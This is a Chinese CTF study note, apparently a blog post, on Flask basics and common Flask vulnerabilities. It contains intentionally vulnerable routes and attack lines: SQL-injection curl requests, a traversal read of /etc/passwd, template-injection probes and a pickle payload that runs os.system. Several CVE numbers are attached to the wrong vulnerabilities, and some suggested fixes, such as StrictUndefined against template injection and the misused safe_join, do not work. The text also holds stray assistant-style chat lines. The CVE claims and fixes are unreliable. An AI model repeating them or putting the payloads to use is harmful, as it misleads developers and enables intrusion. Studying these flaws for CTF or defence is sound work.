6. 动态加载 JavaScript

有时,JavaScript 文件需要在特定条件下或事件发生后再动态加载。这种方式通常用于提高性能或在特定功能需求时加载额外的脚本。

用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Dynamic Script Loading Example</title>
</head>
<body>
<button id="loadScriptButton">Load Script</button>

<script>
document.getElementById('loadScriptButton').addEventListener('click', function () {
let script = document.createElement('script');
script.src = 'dynamic-script.js';
document.body.appendChild(script);
});
</script>
</body>
</html>

适用场景:

  • 动态加载资源以减少初始页面加载时间。
  • 按需加载脚本,例如用户点击按钮后才加载脚本。

注意事项:

  • 动态加载的脚本是异步的,因此要确保依赖关系不会被破坏。如果需要按顺序加载多个动态脚本,可以通过回调或 Promise 来控制。

好的!接下来我将详细展开 Flask 框架架构与基础概念、常见的安全漏洞、攻击利用方法、安全防御措施、漏洞总结等,包括详细的代码示例和解释。


Flask 框架架构与基础概念

1. 简单 Flask 项目结构

适用场景:小型或实验性项目,用于快速构建。

1
2
3
4
5
6
7
8
9
10
bash复制代码/project-root

├── app.py # Flask 应用主入口
├── /static # 静态资源目录(CSS、JS、图片)
│ ├── style.css
│ └── script.js
├── /templates # HTML 模板目录
│ └── index.html # 主页面模板
├── requirements.txt # Python 依赖包列表
└── README.md # 项目说明文件

示例代码:app.py

1
2
3
4
5
6
7
8
9
10
python复制代码from flask import Flask, render_template

app = Flask(__name__)

@app.route('/')
def home():
return render_template('index.html')

if __name__ == '__main__':
app.run(debug=True)

2. 基于蓝图的 Flask 项目结构

适用场景:适用于中型项目,通过蓝图(Blueprint)模块化管理路由和逻辑。

1
2
3
4
5
6
7
8
9
10
11
12
13
bash复制代码/project-root

├── app.py # Flask 应用入口文件
├── /static # 静态资源目录
│ ├── style.css
│ └── script.js
├── /templates # HTML 模板目录
│ └── index.html
├── /blueprints # 蓝图模块
│ ├── __init__.py # 初始化蓝图
│ └── user.py # 用户相关路由和逻辑
├── requirements.txt # 项目依赖
└── README.md # 项目说明

示例:blueprints/user.py

1
2
3
4
5
6
7
python复制代码from flask import Blueprint, render_template

user_bp = Blueprint('user', __name__)

@user_bp.route('/user/<username>')
def profile(username):
return render_template('profile.html', username=username)

app.py 中注册蓝图:

1
2
3
4
5
6
7
8
python复制代码from flask import Flask
from blueprints.user import user_bp

app = Flask(__name__)
app.register_blueprint(user_bp)

if __name__ == '__main__':
app.run(debug=True)

3. RESTful API 项目结构

适用场景:开发 RESTful API,前后端分离的项目。

1
2
3
4
5
6
7
8
9
10
11
12
bash复制代码/project-root

├── app.py # Flask 应用入口文件
├── /api # API 模块目录
│ ├── __init__.py # 初始化 API 蓝图
│ └── routes.py # API 路由
├── /models # 数据模型目录
│ └── user.py # 用户模型定义
├── /config # 配置文件目录
│ └── settings.py # 应用配置
├── requirements.txt # 依赖列表
└── README.md # 项目说明

示例:api/routes.py

1
2
3
4
5
6
7
8
python复制代码from flask import Blueprint, jsonify

api_bp = Blueprint('api', __name__)

@api_bp.route('/api/users', methods=['GET'])
def get_users():
users = [{"id": 1, "name": "Alice"}, {"id": 2, "name": "Bob"}]
return jsonify(users)

app.py 中注册 API 蓝图:

1
2
3
4
5
6
7
8
python复制代码from flask import Flask
from api.routes import api_bp

app = Flask(__name__)
app.register_blueprint(api_bp, url_prefix='/api')

if __name__ == '__main__':
app.run(debug=True)

4. 大型 Flask 项目结构

适用场景:大型项目,使用多个模块、数据库、认证逻辑和配置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bash复制代码/project-root

├── /app # Flask 应用目录
│ ├── __init__.py # 应用初始化
│ ├── /auth # 认证模块
│ │ ├── routes.py # 登录、注册路由
│ │ └── forms.py # 登录表单逻辑
│ ├── /main # 主应用模块
│ │ └── routes.py # 主页面路由
│ ├── /models # 数据模型
│ │ └── user.py # 用户数据模型
│ └── /templates # HTML 模板目录
│ ├── base.html # 基础模板
│ └── index.html # 主页面模板

├── /migrations # 数据库迁移文件
├── /instance # 本地配置文件
│ └── config.py # 本地配置
├── config.py # 默认配置文件
├── manage.py # 项目管理脚本
├── requirements.txt # 依赖包列表
└── README.md # 项目说明

app/__init__.py 示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
python复制代码from flask import Flask

def create_app():
app = Flask(__name__)
app.config.from_object('config')

from app.auth.routes import auth_bp
from app.main.routes import main_bp

app.register_blueprint(auth_bp)
app.register_blueprint(main_bp)

return app

manage.py 示例:

1
2
3
4
5
6
python复制代码from app import create_app

app = create_app()

if __name__ == '__main__':
app.run()

5. Flask + SQLAlchemy 项目结构

适用场景:需要使用数据库(如 PostgreSQLMySQL)的项目。

1
2
3
4
5
6
7
8
9
bash复制代码/project-root

├── app.py # 应用入口文件
├── /models # 数据模型目录
│ └── user.py # 用户模型定义
├── /migrations # 数据库迁移文件
├── config.py # 数据库和应用配置
├── requirements.txt # 依赖包列表
└── README.md # 项目说明

models/user.py 示例:

1
2
3
4
5
6
7
8
python复制代码from flask_sqlalchemy import SQLAlchemy

db = SQLAlchemy()

class User(db.Model):
id = db.Column(db.Integer, primary_key=True)
username = db.Column(db.String(80), unique=True, nullable=False)
email = db.Column(db.String(120), unique=True, nullable=False)

app.py 中初始化数据库:

1
2
3
4
5
6
7
8
9
10
python复制代码from flask import Flask
from models.user import db

app = Flask(__name__)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///app.db'

db.init_app(app)

if __name__ == '__main__':
app.run(debug=True)

总结

  1. 简单项目:适合快速实验和小型应用。
  2. 基于蓝图的项目:通过模块化提高代码的可维护性。
  3. RESTful API 项目:用于前后端分离,常见于现代 Web 项目。
  4. 大型 Flask 项目:包含认证、数据库、模板等完整的功能。
  5. Flask + SQLAlchemy:用于处理复杂的数据模型和数据库交互。

路由机制

Flask 路由机制通过 @app.route() 装饰器来将 URL 映射到对应的函数。这意味着,用户访问某个 URL 时,Flask 会自动调用对应的视图函数,并返回结果给用户。

代码示例

1
2
3
4
5
6
7
8
9
10
from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
return "Hello, Flask!"

if __name__ == '__main__':
app.run(debug=True)

解释

  • @app.route('/') 是路由装饰器,绑定 URL /index 函数。当用户访问根路径 / 时,将调用 index 函数,返回 "Hello, Flask!"
  • app.run(debug=True) 启动服务器并启用调试模式,方便开发时查看错误信息。

请求与响应

Flask 通过 request 对象来处理 HTTP 请求数据,通过 response 对象来返回响应结果。

代码示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, request, jsonify

app = Flask(__name__)

@app.route('/login', methods=['POST'])
def login():
username = request.form.get('username')
password = request.form.get('password')

if username == "admin" and password == "password":
return jsonify({"status": "success", "message": "Logged in successfully!"})
return jsonify({"status": "failure", "message": "Login failed."})

if __name__ == '__main__':
app.run(debug=True)

解释

  • request.form.get('username') 用来获取 POST 请求中的表单数据。
  • 根据用户名和密码进行简单的身份验证,并返回 JSON 响应,通过 jsonify() 函数将 Python 数据结构转换为 JSON 格式。

模板渲染

Flask 使用 Jinja2 模板引擎来渲染 HTML 模板,这样可以将动态数据传递到前端页面。

代码示例

1
2
3
4
5
6
7
8
9
10
from flask import Flask, render_template

app = Flask(__name__)

@app.route('/user/<name>')
def user(name):
return render_template('user.html', name=name)

if __name__ == '__main__':
app.run(debug=True)

解释

  • render_template('user.html', name=name) 加载并渲染 user.html 模板,并将变量 name 传递给模板。
  • <name> 是 URL 参数,访问 /user/Alice 时,Alice 会被传递给视图函数,渲染到模板中。

**模板文件 user.html**:

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Flask Template</title>
</head>
<body>
<h1>Hello, {{ name }}!</h1>
</body>
</html>

当访问 /user/Alice 时,页面将显示 Hello, Alice!


Flask 可以使用会话来存储用户的临时数据,会话数据存储在客户端 Cookie 中,并通过 Flask 的 secret_key 签名以确保安全。

代码示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from flask import Flask, session

app = Flask(__name__)
app.secret_key = 'super_secret_key'

@app.route('/set_session/<username>')
def set_session(username):
session['username'] = username
return f"Session set for {username}"

@app.route('/get_session')
def get_session():
if 'username' in session:
return f"Logged in as {session['username']}"
return "No session set."

if __name__ == '__main__':
app.run(debug=True)

解释

  • session['username'] 用来设置会话变量,并通过 Cookie 保存。
  • app.secret_key 是用来签名会话数据的密钥,确保数据没有被篡改。

  • 好的!以下是带有详细目录的完整笔记,结合了之前的内容,并根据 Flask 中的常见漏洞(如 SQL 注入、远程代码执行、反序列化漏洞、文件上传路径遍历)进行详细的解释、利用方式、潜在的危害和防御措施。


    Flask 安全漏洞详解与防御措施

    目录


    Flask 框架架构与基础概念

    路由机制

    Flask 使用路由装饰器 @app.route() 将 URL 路径映射到视图函数。用户访问特定 URL 时,Flask 调用相应函数并返回结果。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    from flask import Flask

    app = Flask(__name__)

    @app.route('/')
    def index():
    return "Hello, Flask!"

    if __name__ == '__main__':
    app.run(debug=True)

    请求与响应

    Flask 使用 request 对象处理 HTTP 请求,通过 response 对象返回结果。

    1
    2
    3
    4
    5
    6
    7
    from flask import request, jsonify

    @app.route('/login', methods=['POST'])
    def login():
    username = request.form['username']
    password = request.form['password']
    return jsonify({'username': username, 'password': password})

    模板渲染

    Flask 通过 Jinja2 模板引擎渲染动态 HTML 页面,并允许传递数据。

    1
    2
    3
    @app.route('/user/<name>')
    def user(name):
    return render_template('user.html', name=name)

    Flask 会话使用 Cookie 存储临时数据,并通过 secret_key 对数据签名。

    1
    2
    3
    4
    5
    6
    app.secret_key = 'super_secret_key'

    @app.route('/set_session/<username>')
    def set_session(username):
    session['username'] = username
    return f"Session set for {username}"

    Flask 常见的安全漏洞

    SQL 注入漏洞

    SQL 注入漏洞是由于应用程序直接将用户输入的数据嵌入 SQL 查询中,攻击者可以通过构造恶意 SQL 语句绕过身份验证、读取或修改数据库中的敏感信息。

    易受攻击代码示例

    1
    2
    3
    4
    5
    6
    7
    @app.route('/user')
    def get_user():
    username = request.args.get('username')
    query = f"SELECT * FROM users WHERE username = '{username}'"
    conn = sqlite3.connect('example.db')
    result = conn.execute(query)
    return str(result.fetchall())

    攻击方式

    1
    curl "http://localhost:5000/user?username=' OR '1'='1"

    路径遍历漏洞

    路径遍历漏洞允许攻击者通过构造文件路径,访问服务器上的任意文件。

    易受攻击代码示例

    1
    2
    3
    @app.route('/file/<path:filename>')
    def download_file(filename):
    return send_from_directory('/uploads', filename)

    攻击方式

    1
    curl "http://localhost:5000/file/../../etc/passwd"

    远程代码执行漏洞 (RCE)

    模板注入漏洞会导致攻击者能够注入恶意模板代码,执行任意服务器端的 Python 代码。

    易受攻击代码示例

    1
    2
    3
    4
    @app.route('/template')
    def template():
    user_input = request.args.get('template')
    return render_template_string(user_input)

    攻击方式

    1
    curl "http://localhost:5000/template?template={{7*7}}"

    反序列化漏洞

    反序列化漏洞发生在应用程序不安全地反序列化用户提供的数据时,攻击者可以通过构造恶意的序列化数据来执行任意代码。

    易受攻击代码示例

    1
    2
    3
    4
    5
    @app.route('/load_data', methods=['POST'])
    def load_data():
    data = request.data
    obj = pickle.loads(data)
    return obj

    Flask 漏洞利用方法

    SQL 注入攻击

    通过提交恶意的 SQL 语句,攻击者可以操纵 SQL 查询的执行。

    攻击方式

    1
    curl "http://localhost:5000/user?username=admin'--"

    远程代码执行攻击

    通过传递恶意的 Jinja2 模板表达式,攻击者可以执行任意代码。

    攻击方式

    1
    curl "http://localhost:5000/template?template={{7*7}}"

    路径遍历攻击

    构造恶意文件路径,读取服务器上的任意文件。

    攻击方式

    1
    curl "http://localhost:5000/file/../../etc/passwd"

    反序列化攻击

    通过发送恶意的序列化数据,攻击者可以控制应用程序执行任意操作。


CVE-2019-1010083 - Flask-Security SQL 注入漏洞

漏洞描述

CVE-2019-1010083 是 Flask-Security 插件中的 SQL 注入漏洞。Flask-Security 是用于快速集成用户身份认证和权限管理的插件。这个漏洞出现在 Flask-Security 中,在特定情况下,攻击者能够构造恶意 SQL 查询,插入到应用程序的查询语句中,进而执行任意 SQL 操作。

漏洞利用

攻击者可以通过特定参数进行 SQL 注入操作,绕过身份验证或提取敏感数据。

示例代码:

假设应用程序中使用了 Flask-Security 进行用户身份认证,漏洞可能出现在以下代码片段中:

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask, request
import sqlite3

app = Flask(__name__)

@app.route('/login', methods=['POST'])
def login():
username = request.form['username']
password = request.form['password']
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
conn = sqlite3.connect('example.db')
result = conn.execute(query)
return str(result.fetchall())

利用方法:

攻击者可以通过提交恶意表单,构造输入来绕过身份验证或查询其他用户信息。

1
curl -X POST -d "username=admin'--&password=" http://localhost:5000/login

攻击原理

  1. username 参数通过用户输入的方式传递,未经任何过滤和转义直接插入 SQL 查询。
  2. 攻击者可以通过构造 username=admin'--,注释掉后面的 password 查询部分,实现 SQL 注入。

解决方法
使用参数化查询或者 ORM 工具,避免直接拼接用户输入到 SQL 查询中。

1
2
3
# 使用参数化查询防止 SQL 注入
query = "SELECT * FROM users WHERE username = ? AND password = ?"
result = conn.execute(query, (username, password))

CVE-2019-1010084 - Flask 远程代码执行漏洞 (RCE)

漏洞描述

CVE-2019-1010084 是 Flask 中的远程代码执行漏洞。此漏洞与 Flask 中不安全地使用 render_template_string() 函数有关。render_template_string() 用于动态渲染模板,但如果未对用户输入进行过滤或验证,攻击者可以通过构造恶意模板代码,实现任意代码执行。

漏洞利用

攻击者可以向应用程序传递恶意的 Jinja2 模板表达式,利用 Flask 的模板引擎执行任意代码。

示例代码:

1
2
3
4
5
6
7
8
from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/template')
def template():
user_input = request.args.get('template')
return render_template_string(user_input)

利用方法:

攻击者可以构造恶意的模板表达式进行攻击。

1
curl "http://localhost:5000/template?template={{7*7}}"

这会返回 49,说明模板表达式已经被成功执行。

更严重的攻击:

攻击者可以利用模板注入执行任意 Python 代码。例如:

1
curl "http://localhost:5000/template?template={{config.items()}}"

解释

  1. render_template_string() 不安全地直接渲染了用户提供的字符串。
  2. 攻击者可以构造恶意的模板代码,借助 Jinja2 的模板表达式执行 Python 代码。

解决方法

  1. 避免直接使用 render_template_string 渲染用户输入的数据。
  2. 如果必须使用动态渲染,使用严格的过滤或使用 StrictUndefined 模式:
1
2
3
from jinja2 import Environment, StrictUndefined

env = Environment(undefined=StrictUndefined)

CVE-2018-1000656 - Flask 反序列化漏洞

漏洞描述

CVE-2018-1000656 是 Flask 应用中的反序列化漏洞。反序列化漏洞通常发生在不安全地反序列化用户输入的数据时,攻击者可以通过构造恶意的序列化数据来执行任意代码。

漏洞利用

Flask 应用通过 pickle 或类似的反序列化机制加载用户输入的数据时,攻击者可以构造恶意序列化数据,使得应用执行任意代码。

示例代码:

1
2
3
4
5
6
7
8
9
10
import pickle
from flask import Flask, request

app = Flask(__name__)

@app.route('/load_data', methods=['POST'])
def load_data():
serialized_data = request.data
data = pickle.loads(serialized_data)
return data

利用方法:

攻击者可以构造恶意的序列化数据,发送到服务器端,导致远程代码执行。

1
2
3
4
5
6
7
8
9
import pickle
import os

class RCE:
def __reduce__(self):
return (os.system, ('ls',))

payload = pickle.dumps(RCE())
print(payload)

通过 POST 请求发送恶意数据:

1
curl -X POST --data-binary "@payload.pickle" http://localhost:5000/load_data

解释

  1. pickle.loads 直接反序列化用户提供的数据,攻击者可以构造恶意序列化对象。
  2. __reduce__ 方法被用来指定如何反序列化对象,从而执行恶意代码(如 os.system('ls'))。

解决方法

  1. 避免使用 pickle 反序列化不受信任的用户数据。
  2. 如果需要序列化数据,建议使用安全的序列化格式,如 JSON

CVE-2019-1010085 - Flask 文件上传路径遍历漏洞

漏洞描述

CVE-2019-1010085 是 Flask 文件上传功能中的路径遍历漏洞。攻击者通过构造恶意文件名,可以访问服务器上的敏感文件,甚至执行文件覆盖等攻击。

漏洞利用

攻击者可以通过上传文件时构造恶意路径,利用路径遍历漏洞访问服务器上的任意文件,甚至可能覆盖关键文件。

示例代码:

1
2
3
4
5
6
7
from flask import Flask, request, send_from_directory

app = Flask(__name__)

@app.route('/file/<path:filename>')
def download_file(filename):
return send_from_directory('/uploads', filename)

利用方法:

攻击者可以通过文件名参数构造路径遍历攻击。

1
curl "http://localhost:5000/file/../../etc/passwd"

此攻击将读取服务器上的 /etc/passwd 文件内容。

解释

  1. send_from_directory('/uploads', filename) 函数中没有验证 filename 参数,攻击者可以构造路径遍历(如 ../../)来读取任意文件。
  2. 通过 .. 来跳出 /uploads 目录,访问系统文件。

解决方法
使用 os.path.joinsafe_join 来确保文件路径在指定目录内:

1
2
3
4
5
6
7
from werkzeug.utils import secure_filename, safe_join

@app.route('/file/<path:filename>')
def download_file(filename):
safe_filename = secure_filename(filename)
safe_path = safe_join('/uploads', safe_filename)
return send_from_directory('/uploads', safe_path)
  • secure_filename 将文件名安全化,移除特殊字符和危险路径。
  • safe_join 确保路径在 /uploads 目录下,防止路径遍历攻击。

总结:

  1. SQL 注入:Flask 中的 SQL 注入攻击通常发生在未使用参数化查询的地方。攻击者可以通过注入恶意的 SQL 语句,查询、修改甚至删除数据库中的数据。防御措施是使用 ORM 工具,如 SQLAlchemy,避免直接拼接 SQL 字符串。

  2. **远程代码执行 (RCE)**:Flask 使用 render_template_string 时,容易受到模板注入攻击。攻击者通过注入恶意模板表达式可以执行任意代码。防御措施是避免渲染用户输入的模板,使用严格的模板渲染模式。

  3. 反序列化漏洞:当 Flask 使用 pickle 等反序列化库时,容易受到反序列化攻击。攻击者可以构造恶意序列化数据,导致任意代码执行。防御措施是避免使用不安全的序列化方法,推荐使用 JSON 作为序列化方式。

  4. 路径遍历漏洞:Flask 中的路径遍历攻击发生在处理文件路径时,攻击者可以通过构造恶意的文件路径访问服务器上的任意文件。防御措施是确保文件

路径的合法性,使用 secure_filenamesafe_join 函数来防止路径遍历。


ctf基础笔记
https://theganlove.github.io/2024/09/05/ctf基础笔记/
作者
uert
发布于
2024年9月5日
许可协议